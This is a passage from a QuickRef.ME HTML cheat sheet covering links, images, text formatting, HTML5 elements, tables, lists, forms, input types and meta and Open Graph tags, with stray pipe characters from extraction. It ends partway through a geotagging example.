<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>HTML5 Boilerplate</title>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Hello world, hello QuickRef.ME!</h1>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
Or try it out in the [jsfiddle](https://jsfiddle.net/Fechin/1e4wz20b/)
|
||||
|
||||
### Comment
|
||||
|
||||
```html
|
||||
<!-- this is a comment -->
|
||||
|
||||
<!--
|
||||
Or you can comment out a
|
||||
large number of lines.
|
||||
-->
|
||||
```
|
||||
|
||||
|
||||
### Paragraph
|
||||
|
||||
```html
|
||||
<p>I'm from QuickRef.ME</p>
|
||||
<p>Share quick reference cheat sheet.</p>
|
||||
```
|
||||
See: [The Paragraph element](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/p)
|
||||
|
||||
|
||||
|
||||
|
||||
### HTML link
|
||||
|
||||
```html
|
||||
<a href="https://quickref.me">QuickRef</a>
|
||||
<a href="mailto:jack@abc.com">Email</a>
|
||||
<a href="tel:+12345678">Call</a>
|
||||
<a href="sms:+12345678&body=ha%20ha">Msg</a>
|
||||
```
|
||||
---
|
||||
|
||||
| | | |
|
||||
|---|----------|-----------------------------------------------------------------|
|
||||
| | `href` | The URL that the hyperlink points to |
|
||||
| | `rel` | Relationship of the linked URL |
|
||||
| | `target` | Link target location: <br/>`_self`, `_blank`, `_top`, `_parent` |
|
||||
{.left-text}
|
||||
|
||||
See: [The \<a> Attributes](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/a#attributes)
|
||||
|
||||
|
||||
|
||||
### Image Tag
|
||||
|
||||
```html {.wrap}
|
||||
<img loading="lazy" src="https://xxx.png" alt="Describe image here" width="400" height="400">
|
||||
```
|
||||
---
|
||||
|
||||
| | | |
|
||||
|---|-----------|------------------------------------------|
|
||||
| | `src` | Required, Image location _(URL \| Path)_ |
|
||||
| | `alt` | Describe of the image |
|
||||
| | `width` | Width of the image |
|
||||
| | `height` | Height of the image |
|
||||
| | `loading` | How the browser should load |
|
||||
{.left-text}
|
||||
|
||||
See: [The Image Embed element](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/img)
|
||||
|
||||
|
||||
|
||||
### Text Formatting Tags
|
||||
|
||||
```html
|
||||
<b>Bold Text</b>
|
||||
<strong>This text is important</strong>
|
||||
<i>Italic Text</i>
|
||||
<em>This text is emphasized</em>
|
||||
<u>Underline Text</u>
|
||||
<pre>Preformatted text</pre>
|
||||
<code>Source code</code>
|
||||
<del>Deleted text</del>
|
||||
<mark>Highlighted text (HTML5)</mark>
|
||||
<ins>Inserted text</ins>
|
||||
<sup>Makes text superscripted</sup>
|
||||
<sub>Makes text subscripted</sub>
|
||||
<small>Makes text smaller</small>
|
||||
<pre>Pre-formatted Text</pre>
|
||||
<kbd>Ctrl</kbd>
|
||||
<blockquote>Text Block Quote</blockquote>
|
||||
```
|
||||
|
||||
|
||||
### Headings
|
||||
```html
|
||||
<h1> This is Heading 1 </h1>
|
||||
<h2> This is Heading 2 </h2>
|
||||
<h3> This is Heading 3 </h3>
|
||||
<h4> This is Heading 4 </h4>
|
||||
<h5> This is Heading 5 </h5>
|
||||
<h6> This is Heading 6 </h6>
|
||||
```
|
||||
You should only have one h1 on your page
|
||||
|
||||
|
||||
### Section Divisions
|
||||
|
||||
| | |
|
||||
|-----------------|--------------------------------------|
|
||||
| `<div></div>` | Division or Section of Page Content |
|
||||
| `<span></span>` | Section of text within other content |
|
||||
| `<p></p>` | Paragraph of Text |
|
||||
| `<br>` | Line Break |
|
||||
| `<hr>` | Basic Horizontal Line |
|
||||
|
||||
These are the tags used to divide your page up into sections
|
||||
|
||||
|
||||
|
||||
### Inline Frame {.row-span-2}
|
||||
```html {.wrap}
|
||||
<iframe title="New York"
|
||||
width="342"
|
||||
height="306"
|
||||
id="gmap_canvas"
|
||||
src="https://maps.google.com/maps?q=2880%20Broadway,%20New%20York&t=&z=13&ie=UTF8&iwloc=&output=embed"
|
||||
scrolling="no">
|
||||
</iframe>
|
||||
```
|
||||
#### ↓ Preview
|
||||
<iframe title="New York"
|
||||
width="342"
|
||||
height="306"
|
||||
id="gmap_canvas"
|
||||
src="https://maps.google.com/maps?q=2880%20Broadway,%20New%20York&t=&z=13&ie=UTF8&iwloc=&output=embed"
|
||||
scrolling="no">
|
||||
</iframe>
|
||||
|
||||
|
||||
See: [The Inline Frame element](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe)
|
||||
|
||||
|
||||
### JavaScript in HTML
|
||||
|
||||
```html
|
||||
<script type="text/javascript">
|
||||
let text = "Hello QuickRef.ME";
|
||||
alert(text);
|
||||
</script>
|
||||
```
|
||||
|
||||
|
||||
#### External JavaScript
|
||||
|
||||
```html
|
||||
<body>
|
||||
...
|
||||
|
||||
<script src="app.js"></script>
|
||||
</body>
|
||||
```
|
||||
|
||||
|
||||
### CSS in HTML
|
||||
|
||||
```html
|
||||
<style type="text/css">
|
||||
h1 {
|
||||
color: purple;
|
||||
}
|
||||
</style>
|
||||
```
|
||||
|
||||
#### External stylesheet
|
||||
|
||||
```html
|
||||
<head>
|
||||
...
|
||||
<link rel="stylesheet" href="style.css"/>
|
||||
</head>
|
||||
```
|
||||
|
||||
|
||||
|
||||
HTML5 Tags {.cols-3}
|
||||
-------------
|
||||
|
||||
### Document
|
||||
```html
|
||||
<body>
|
||||
<header>
|
||||
<nav>...</nav>
|
||||
</header>
|
||||
<main>
|
||||
<h1>QuickRef.ME</h1>
|
||||
</main>
|
||||
<footer>
|
||||
<p>©2023 QuickRef.ME</p>
|
||||
</footer>
|
||||
</body>
|
||||
```
|
||||
|
||||
|
||||
### Header Navigation
|
||||
```html
|
||||
<header>
|
||||
<nav>
|
||||
<ul>
|
||||
<li><a href="#">Edit Page</a></li>
|
||||
<li><a href="#">Twitter</a></li>
|
||||
<li><a href="#">Facebook</a></li>
|
||||
</ul>
|
||||
</nav>
|
||||
</header>
|
||||
```
|
||||
|
||||
|
||||
### HTML5 Tags {.row-span-4}
|
||||
|
||||
| | |
|
||||
|------------------------------------------------------------------------------------|----------------------------------------|
|
||||
| [article](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/article) | Content that’s independent |
|
||||
| [aside](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/aside) | Secondary content |
|
||||
| [audio](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/audio) | Embeds a sound, or an audio stream |
|
||||
| [bdi](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/bdi) | The Bidirectional Isolate element |
|
||||
| [canvas](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/canvas) | Draw graphics via JavaScript |
|
||||
| [data](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/data) | Machine readable content |
|
||||
| [datalist](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/datalist) | A set of pre-defined options |
|
||||
| [details](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/details) | Additional information |
|
||||
| [dialog](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/dialog) | A dialog box or sub-window |
|
||||
| [embed](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/embed) | Embeds external application |
|
||||
| [figcaption](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/figcaption) | A caption or legend for a figure |
|
||||
| [figure](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/figure) | A figure illustrated |
|
||||
| [footer](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/footer) | Footer or least important |
|
||||
| [header](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/header) | Masthead or important information |
|
||||
| [main](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/main) | The main content of the document |
|
||||
| [mark](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/mark) | Text highlighted |
|
||||
| [meter](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/meter) | A scalar value within a known range |
|
||||
| [nav](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/nav) | A section of navigation links |
|
||||
| [output](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/output) | The result of a calculation |
|
||||
| [picture](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/picture) | A container for multiple image sources |
|
||||
| [progress](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/progress) | The completion progress of a task |
|
||||
| [rp](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/rp) | Provides fall-back parenthesis |
|
||||
| [rt](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/rt) | Defines the pronunciation of character |
|
||||
| [ruby](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/ruby) | Represents a ruby annotation |
|
||||
| [section](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/section) | A group in a series of related content |
|
||||
| [source](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/source) | Resources for the media elements |
|
||||
| [summary](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/summary) | A summary for the \<details> element |
|
||||
| [template](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/template) | Defines the fragments of HTML |
|
||||
| [time](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/time) | A time or date |
|
||||
| [track](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/track) | Text tracks for the media elements |
|
||||
| [video](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/video) | Embeds video |
|
||||
| [wbr](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/wbr) | A line break opportunity |
|
||||
|
||||
|
||||
### HTML5 Video
|
||||
```html {.wrap}
|
||||
<video controls="" width="100%">
|
||||
<source src="https://interactive-examples.mdn.mozilla.net/media/cc0-videos/flower.mp4" type="video/mp4">
|
||||
Sorry, your browser doesn't support embedded videos.
|
||||
</video>
|
||||
```
|
||||
#### ↓ Preview
|
||||
<video controls="" width="100%">
|
||||
<source src="https://interactive-examples.mdn.mozilla.net/media/cc0-videos/flower.mp4" type="video/mp4">
|
||||
Sorry, your browser doesn't support embedded videos.
|
||||
</video>
|
||||
|
||||
|
||||
### HTML5 Audio
|
||||
```html {.wrap}
|
||||
<audio controls
|
||||
src="https://interactive-examples.mdn.mozilla.net/media/cc0-audio/t-rex-roar.mp3">
|
||||
Your browser does not support the audio element.
|
||||
</audio>
|
||||
```
|
||||
#### ↓ Preview
|
||||
<audio controls class="w-full"
|
||||
src="https://interactive-examples.mdn.mozilla.net/media/cc0-audio/t-rex-roar.mp3">
|
||||
Your browser does not support the audio element.
|
||||
</audio>
|
||||
|
||||
|
||||
|
||||
|
||||
### HTML5 Ruby
|
||||
```html {.wrap}
|
||||
<ruby>
|
||||
汉 <rp>(</rp><rt>hàn</rt><rp>)</rp>
|
||||
字 <rp>(</rp><rt>zì</rt><rp>)</rp>
|
||||
</ruby>
|
||||
```
|
||||
#### ↓ Preview
|
||||
<ruby class="mt-4 text-center text-5xl">
|
||||
汉 <rp>(</rp><rt>hàn</rt><rp>)</rp>
|
||||
字 <rp>(</rp><rt>zì</rt><rp>)</rp>
|
||||
</ruby>
|
||||
|
||||
|
||||
### HTML5 kdi
|
||||
```html
|
||||
<ul>
|
||||
<li>User <bdi>hrefs</bdi>: 60 points</li>
|
||||
<li>User <bdi>jdoe</bdi>: 80 points</li>
|
||||
<li>User <bdi>إيان</bdi>: 90 points</li>
|
||||
</ul>
|
||||
```
|
||||
#### ↓ Preview
|
||||
<ul>
|
||||
<li>User <bdi>hrefs</bdi>: 60 points</li>
|
||||
<li>User <bdi>jdoe</bdi>: 80 points</li>
|
||||
<li>User <bdi>إيان</bdi>: 90 points</li>
|
||||
</ul>
|
||||
|
||||
|
||||
### HTML5 progress
|
||||
```html
|
||||
<progress value="50" max="100"></progress>
|
||||
```
|
||||
<progress value="50" max="100" class="w-full"></progress>
|
||||
|
||||
|
||||
### HTML5 mark
|
||||
```html
|
||||
<p>I Love <mark>QuickRef.ME</mark></p>
|
||||
```
|
||||
<p>I Love <mark>QuickRef.ME</mark></p>
|
||||
|
||||
|
||||
HTML Tables {.cols-3}
|
||||
--------------
|
||||
|
||||
### Table Example {.row-span-2}
|
||||
```html
|
||||
<table>
|
||||
<thead>
|
||||
<tr>
|
||||
<td>name</td>
|
||||
<td>age</td>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr>
|
||||
<td>Roberta</td>
|
||||
<td>39</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>Oliver</td>
|
||||
<td>25</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
```
|
||||
|
||||
|
||||
|
||||
### HTML Table Tags {.row-span-2}
|
||||
|
||||
| Tag | Description |
|
||||
|-----------------------------------------------------------------------------------|----------------------------------|
|
||||
| [\<table>](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/table) | Defines a table |
|
||||
| [\<th>](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/th) | Defines a header cell in a table |
|
||||
| [\<tr>](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/tr) | Defines a row in a table |
|
||||
| [\<td>](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/td) | Defines a cell in a table |
|
||||
| [\<caption>](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/caption) | Defines a table caption |
|
||||
| [\<colgroup>](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/colgroup) | Defines a group of columns |
|
||||
| [\<col>](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/col) | Defines a column within a table |
|
||||
| [\<thead>](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/thead) | Groups the header content |
|
||||
| [\<tbody>](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/tbody) | Groups the body content |
|
||||
| [\<tfoot>](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/tfoot) | Groups the footer content |
|
||||
|
||||
### \<td> Attributes
|
||||
|
||||
| Attribute | Description |
|
||||
|-----------|-----------------------------------------------|
|
||||
| `colspan` | Number of columns a cell should span |
|
||||
| `headers` | One or more header cells a cell is related to |
|
||||
| `rowspan` | Number of rows a cell should span |
|
||||
|
||||
See: [td\#Attributes](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/td#attributes)
|
||||
|
||||
|
||||
|
||||
### \<th> Attributes
|
||||
|
||||
| Attribute | Description |
|
||||
|----------------------------------------------------------------------------------|-----------------------------------------------|
|
||||
| `colspan` | Number of columns a cell should span |
|
||||
| `headers` | One or more header cells a cell is related to |
|
||||
| `rowspan` | Number of rows a cell should span |
|
||||
| `abbr` | Description of the cell's content |
|
||||
| [scope](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/th#attr-scope) | The header element relates to |
|
||||
|
||||
See: [th\#Attributes](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/th#attributes)
|
||||
|
||||
|
||||
|
||||
HTML Lists {.cols-3}
|
||||
--------------
|
||||
|
||||
|
||||
### Unordered list
|
||||
```html
|
||||
<ul>
|
||||
<li>I'm an item</li>
|
||||
<li>I'm another item</li>
|
||||
<li>I'm another item</li>
|
||||
</ul>
|
||||
```
|
||||
See: [The Unordered List element](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/ul)
|
||||
|
||||
|
||||
### Ordered list
|
||||
|
||||
```html
|
||||
<ol>
|
||||
<li>I'm the first item</li>
|
||||
<li>I'm the second item</li>
|
||||
<li>I'm the third item</li>
|
||||
</ol>
|
||||
```
|
||||
See: [The Ordered List element](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/ol)
|
||||
|
||||
|
||||
### Definition list
|
||||
|
||||
```html
|
||||
<dl>
|
||||
<dt>A Term</dt>
|
||||
<dd>Definition of a term</dd>
|
||||
<dt>Another Term</dt>
|
||||
<dd>Definition of another term</dd>
|
||||
</dl>
|
||||
```
|
||||
See: [The Description List element](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/dl)
|
||||
|
||||
|
||||
|
||||
|
||||
HTML Forms {.cols-3}
|
||||
-----------
|
||||
|
||||
|
||||
### Form tags {.row-span-2}
|
||||
```html
|
||||
<form method="POST" action="api/login">
|
||||
<label for="mail">Email: </label>
|
||||
<input type="email" id="mail" name="mail">
|
||||
<br/>
|
||||
<label for="pw">Password: </label>
|
||||
<input type="password" id="pw" name="pw">
|
||||
<br/>
|
||||
<input type="submit" value="Login">
|
||||
<br/>
|
||||
<input type="checkbox" id="ck" name="ck">
|
||||
<label for="ck">Remember me</label>
|
||||
</form>
|
||||
```
|
||||
|
||||
#### ↓ Preview
|
||||
<form method="POST" action="api/login" style="padding: 20px;">
|
||||
<label for="email">Email: </label>
|
||||
<input type="email" id="email" name="email" class="border border-slate-400 mt-2">
|
||||
<br/>
|
||||
<label for="pwd">Password: </label>
|
||||
<input type="password" id="pwd" name="pwd" class="border border-slate-400 mt-2">
|
||||
<br/>
|
||||
<input type="submit" value="Login" class="mt-2">
|
||||
<br/>
|
||||
<input type="checkbox" id="ck" name="ck" class="mt-2">
|
||||
<label for="ck">Remember me</label>
|
||||
</form>
|
||||
|
||||
|
||||
The HTML `<form>` element is used to collect and send information to an external source.
|
||||
|
||||
|
||||
### Form Attribute
|
||||
| Attribute | Description |
|
||||
|------------|-----------------------------------------------------------------------------------------------------|
|
||||
| `name` | Name of form for scripting |
|
||||
| `action` | URL of form script |
|
||||
| `method` | HTTP method, `POST` / `GET` _(default)_ |
|
||||
| `enctype` | Media type, See [enctype](https://developer.mozilla.org/en-US/docs/Web/API/HTMLFormElement/enctype) |
|
||||
| `onsubmit` | Runs when the form was submit |
|
||||
| `onreset` | Runs when the form was reset |
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### Label tags
|
||||
```html
|
||||
<!-- Nested label -->
|
||||
<label>Click me
|
||||
<input type="text" id="user" name="name"/>
|
||||
</label>
|
||||
```
|
||||
---
|
||||
```html
|
||||
<!-- 'for' attribute -->
|
||||
<label for="user">Click me</label>
|
||||
<input id="user" type="text" name="name"/>
|
||||
```
|
||||
`for` in a label references an input's `id` attribute
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### Input tags
|
||||
```html
|
||||
<label for="Name">Name:</label>
|
||||
<input type="text" name="Name" id="">
|
||||
```
|
||||
#### ↓ Preview
|
||||
<form style="padding: 20px;">
|
||||
<label for="username">Username:</label>
|
||||
<input type="text" name="username" id="username" class="border border-slate-400">
|
||||
</form>
|
||||
|
||||
See: [HTML input Tags](/html#html-input-tags)
|
||||
|
||||
|
||||
### Textarea tags
|
||||
```html {.wrap}
|
||||
<textarea rows="2" cols="30" name="address" id="address"></textarea>
|
||||
```
|
||||
#### ↓ Preview
|
||||
<form style="padding: 20px;">
|
||||
<textarea rows="2" cols="30" name="address" id="address" class="border border-slate-400"style="width: 100%"></textarea>
|
||||
</form>
|
||||
|
||||
Textarea is a multiple-line text input control
|
||||
|
||||
|
||||
|
||||
### Radio Buttons
|
||||
```html
|
||||
<input type="radio" name="gender" id="m">
|
||||
<label for="m">Male</label>
|
||||
<input type="radio" name="gender" id="f">
|
||||
<label for="f">Female</label>
|
||||
```
|
||||
#### ↓ Preview
|
||||
<form style="padding: 20px;">
|
||||
<input type="radio" name="gender" id="m">
|
||||
<label for="m">Male</label>
|
||||
<input type="radio" name="gender" id="f">
|
||||
<label for="f">Female</label>
|
||||
</form>
|
||||
|
||||
Radio buttons are used to let the user select exactly one
|
||||
|
||||
|
||||
|
||||
### Checkboxes
|
||||
```html
|
||||
<input type="checkbox" name="s" id="soc">
|
||||
<label for="soc">Soccer</label>
|
||||
<input type="checkbox" name="s" id="bas">
|
||||
<label for="bas">Baseball</label>
|
||||
```
|
||||
#### ↓ Preview
|
||||
<form style="padding: 20px;">
|
||||
<input type="checkbox" name="sports" id="soccer">
|
||||
<label for="soccer">Soccer</label>
|
||||
<input type="checkbox" name="sports" id="baseball">
|
||||
<label for="baseball">Baseball</label>
|
||||
</form>
|
||||
|
||||
Checkboxes allows the user to select one or more
|
||||
|
||||
|
||||
|
||||
### Select tags
|
||||
```html
|
||||
<label for="city">City:</label>
|
||||
<select name="city" id="city">
|
||||
<option value="1">Sydney</option>
|
||||
<option value="2">Melbourne</option>
|
||||
<option value="3">Cromwell</option>
|
||||
</select>
|
||||
```
|
||||
|
||||
#### ↓ Preview
|
||||
<form style="padding: 20px">
|
||||
<label for="city">City:</label>
|
||||
<select name="city" id="city" class="border border-slate-400">
|
||||
<option value="1">Sydney</option>
|
||||
<option value="2">Melbourne</option>
|
||||
<option value="3">Cromwell</option>
|
||||
</select>
|
||||
</form>
|
||||
|
||||
A select box is a dropdown list of options
|
||||
|
||||
|
||||
|
||||
### Fieldset tags
|
||||
```html
|
||||
<fieldset>
|
||||
<legend>Your favorite monster</legend>
|
||||
<input type="radio" id="kra" name="m">
|
||||
<label for="kraken">Kraken</label><br/>
|
||||
<input type="radio" id="sas" name="m">
|
||||
<label for="sas">Sasquatch</label>
|
||||
</fieldset>
|
||||
```
|
||||
#### ↓ Preview
|
||||
<form style="padding: 20px">
|
||||
<fieldset class="border border-slate-400" style="padding: 20px">
|
||||
<legend>Your favorite monster</legend>
|
||||
<input type="radio" id="kra" name="monster">
|
||||
<label for="kra">Kraken</label><br/>
|
||||
<input type="radio" id="sas" name="monster">
|
||||
<label for="sas">Sasquatch</label>
|
||||
</fieldset>
|
||||
</form>
|
||||
|
||||
|
||||
|
||||
|
||||
### Datalist tags(HTML5)
|
||||
```html
|
||||
<label for="b">Choose a browser: </label>
|
||||
<input list="list" id="b" name="browser"/>
|
||||
<datalist id="list">
|
||||
<option value="Chrome">
|
||||
<option value="Firefox">
|
||||
<option value="Internet Explorer">
|
||||
<option value="Opera">
|
||||
<option value="Safari">
|
||||
<option value="Microsoft Edge">
|
||||
</datalist>
|
||||
```
|
||||
|
||||
#### ↓ Preview
|
||||
<form style="padding: 20px">
|
||||
<label for="myBrowser">Choose a browser:</label>
|
||||
<input list="browsers" id="myBrowser" name="myBrowser" class="border border-slate-400"/>
|
||||
<datalist id="browsers">
|
||||
<option value="Chrome">
|
||||
<option value="Firefox">
|
||||
<option value="Internet Explorer">
|
||||
<option value="Opera">
|
||||
<option value="Safari">
|
||||
<option value="Microsoft Edge">
|
||||
</datalist>
|
||||
</form>
|
||||
|
||||
|
||||
|
||||
|
||||
### Submit and Reset Buttons
|
||||
```html
|
||||
<form action="register.php" method="post">
|
||||
<label for="foo">Name:</label>
|
||||
<input type="text" name="name" id="foo">
|
||||
<input type="submit" value="Submit">
|
||||
<input type="reset" value="Reset">
|
||||
</form>
|
||||
```
|
||||
#### ↓ Preview
|
||||
<form action="register.php" method="post" style="padding: 20px">
|
||||
<label for="name">Name:</label>
|
||||
<input type="text" name="name" id="name" class="border border-slate-400">
|
||||
<input type="submit" value="Submit">
|
||||
<input type="reset" value="Reset">
|
||||
</form>
|
||||
|
||||
`Submit` the data to server; `Reset` to default values
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
HTML input Tags {.cols-2}
|
||||
-----------
|
||||
|
||||
|
||||
### Input Attributes {.row-span-2}
|
||||
The input tag is an empty element, identifying the particular type of field information to obtain from a user.
|
||||
```html {.wrap}
|
||||
<input type="text" name="?" value="?" minlength="6" required />
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
| - | | |
|
||||
|---|-------------------------|-------------------------------------------------------------------------------------------------------------------------------|
|
||||
| | `type="…"` | The type of data that is being input |
|
||||
| | `value="…"` | Default value |
|
||||
| | `name="…"` | Used to describe this data in the HTTP request |
|
||||
| | `id="…"` | Unique identifier that other HTML elements |
|
||||
| | `readonly` | Stops the user from modifying |
|
||||
| | `disabled` | Stops any interaction |
|
||||
| | `checked` | The radio or checkbox select or not |
|
||||
| | `required` | Being compulsory, See [required](https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/required#example) |
|
||||
| | `placeholder="…"` | Adds a temporary, See [::placeholder](https://developer.mozilla.org/en-US/docs/Web/CSS/::placeholder#examples) |
|
||||
| | `autocomplete="off"` | Disable auto completion |
|
||||
| | `autocapitalize="none"` | Disable auto capitalization |
|
||||
| | `inputmode="…"` | Display a specific keyboard, See [inputmode](https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/inputmode) |
|
||||
| | `list="…"` | The id of an associated [datalist](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/datalist) |
|
||||
| | `maxlength="…"` | Maximum number of characters |
|
||||
| | `minlength="…"` | Minimum number of characters |
|
||||
| | `min="…"` | Minimum numerical value on range & number |
|
||||
| | `max="…"` | Maximum numerical value on range & number |
|
||||
| | `step="…"` | How the number will increment in range & number |
|
||||
| | `pattern="…"` | Specifies a [Regular expression](/regex), See [pattern](https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/pattern) |
|
||||
| | `autofocus` | Be focused |
|
||||
| | `spellcheck` | Perform spell checking |
|
||||
| | `multiple` | Whether to allow [multiple](https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/multiple) values |
|
||||
| | `accept=""` | Expected file type in [file](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input/file) upload controls |
|
||||
{.left-text}
|
||||
|
||||
Also see: [Attributes for the \<input> element](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input#attributes)
|
||||
|
||||
|
||||
### Input types
|
||||
|
||||
| | |
|
||||
|-------------------|------------------------------------------------------------------------------------------------------------------------------------------|
|
||||
| `type="checkbox"` | <input type="checkbox" class="border border-slate-400"> |
|
||||
| `type="radio"` | <input type="radio" class="border border-slate-400"> |
|
||||
| `type="file"` | <input type="file" class="border border-slate-400"> |
|
||||
| `type="hidden"` | <input type="hidden" class="border border-slate-400"> |
|
||||
| `type="text"` | <input type="text" class="border border-slate-400"> |
|
||||
| `type="password"` | <input type="password" class="border border-slate-400"> |
|
||||
| `type="image"` | <input type="image" src="https://raw.githubusercontent.com/mdn/learning-area/master/html/forms/image-type-example/login.png" width="70"> |
|
||||
| `type="reset"` | <input type="reset" class="border border-slate-400"> |
|
||||
| `type="button"` | <input type="button" class="border border-slate-400">Button</input> |
|
||||
| `type="submit"` | <input type="submit" class="border border-slate-400"> |
|
||||
|
||||
#### New Input Types in HTML5
|
||||
| | |
|
||||
|-------------------------|---------------------------------------------------------------------|
|
||||
| `type="color"` | <input type="color" value="#0FB881" class="border border-slate-400"> |
|
||||
| `type="date"` | <input type="date" class="border border-slate-400"> |
|
||||
| `type="time"` | <input type="time" class="border border-slate-400"> |
|
||||
| `type="month"` | <input type="month" class="border border-slate-400"> |
|
||||
| `type="datetime-local"` | <input type="datetime-local" class="border border-slate-400"> |
|
||||
| `type="week"` | <input type="week" class="border border-slate-400"> |
|
||||
| `type="email"` | <input type="email" class="border border-slate-400"> |
|
||||
| `type="tel"` | <input type="tel" class="border border-slate-400"> |
|
||||
| `type="url"` | <input type="url" class="border border-slate-400"> |
|
||||
| `type="number"` | <input type="number" class="border border-slate-400"> |
|
||||
| `type="search"` | <input type="search" class="border border-slate-400"> |
|
||||
| `type="range"` | <input type="range" class="border border-slate-400"> |
|
||||
|
||||
|
||||
### Input CSS selectors
|
||||
|
||||
| | |
|
||||
|---------------|---------------------------|
|
||||
| `input:focus` | When its keyboard focused |
|
||||
See: [Input pseudo classes](/css#input-pseudo-classes)
|
||||
|
||||
|
||||
HTML meta Tags {.cols-2}
|
||||
-----------
|
||||
|
||||
### Meta tags {.row-span-3}
|
||||
|
||||
The meta tag describes meta data within an HTML document. It explains additional material about the HTML.
|
||||
|
||||
|
||||
```html
|
||||
<meta charset="utf-8">
|
||||
```
|
||||
|
||||
```html
|
||||
<!-- title -->
|
||||
<title>···</title>
|
||||
<meta property="og:title" content="···">
|
||||
<meta name="twitter:title" content="···">
|
||||
```
|
||||
---
|
||||
|
||||
```html
|
||||
<!-- url -->
|
||||
<link rel="canonical" href="https://···">
|
||||
<meta property="og:url" content="https://···">
|
||||
<meta name="twitter:url" content="https://···">
|
||||
```
|
||||
---
|
||||
|
||||
```html
|
||||
<!-- description -->
|
||||
<meta name="description" content="···">
|
||||
<meta property="og:description" content="···">
|
||||
<meta name="twitter:description" content="···">
|
||||
```
|
||||
---
|
||||
|
||||
```html
|
||||
<!-- image -->
|
||||
<meta property="og:image" content="https://···">
|
||||
<meta name="twitter:image" content="https://···">
|
||||
```
|
||||
---
|
||||
|
||||
```html
|
||||
<!-- ua -->
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
|
||||
```
|
||||
---
|
||||
|
||||
```html
|
||||
<!-- viewport -->
|
||||
<meta name="viewport" content="width=device-width">
|
||||
<meta name="viewport" content="width=1024">
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
### Open Graph
|
||||
```html
|
||||
<meta property="og:type" content="website">
|
||||
<meta property="og:locale" content="en_CA">
|
||||
<meta property="og:title" content="HTML cheatsheet">
|
||||
<meta property="og:url" content="https://quickref.me/html">
|
||||
<meta property="og:image" content="https://xxx.com/image.jpg">
|
||||
<meta property="og:site_name" content="Name of your website">
|
||||
<meta property="og:description" content="Description of this page">
|
||||
```
|
||||
Used by Facebook, Instagram, Pinterest, LinkedIn, etc.
|
||||
|
||||
|
||||
### Twitter Cards
|
||||
```html
|
||||
<meta name="twitter:card" content="summary">
|
||||
<meta name="twitter:site" content="@QuickRef_ME">
|
||||
<meta name="twitter:title" content="HTML cheatsheet">
|
||||
<meta name="twitter:url" content="https://quickref.me/html">
|
||||
<meta name="twitter:description" content="Description of this page">
|
||||
<meta name="twitter:image" content="https://xxx.com/image.jpg">
|
||||
```
|
||||
See: [Twitter Card Documentation](https://developer.twitter.com/en/docs/tweets/optimize-with-cards/overview/summary)
|
||||
|
||||
|
||||
|
||||
### Geotagging
|
||||
```html
|
||||
<meta name="ICBM" content="45.416667,-75.7">
|
||||
<meta name="geo.position" content="45.416667;-75.7">
|
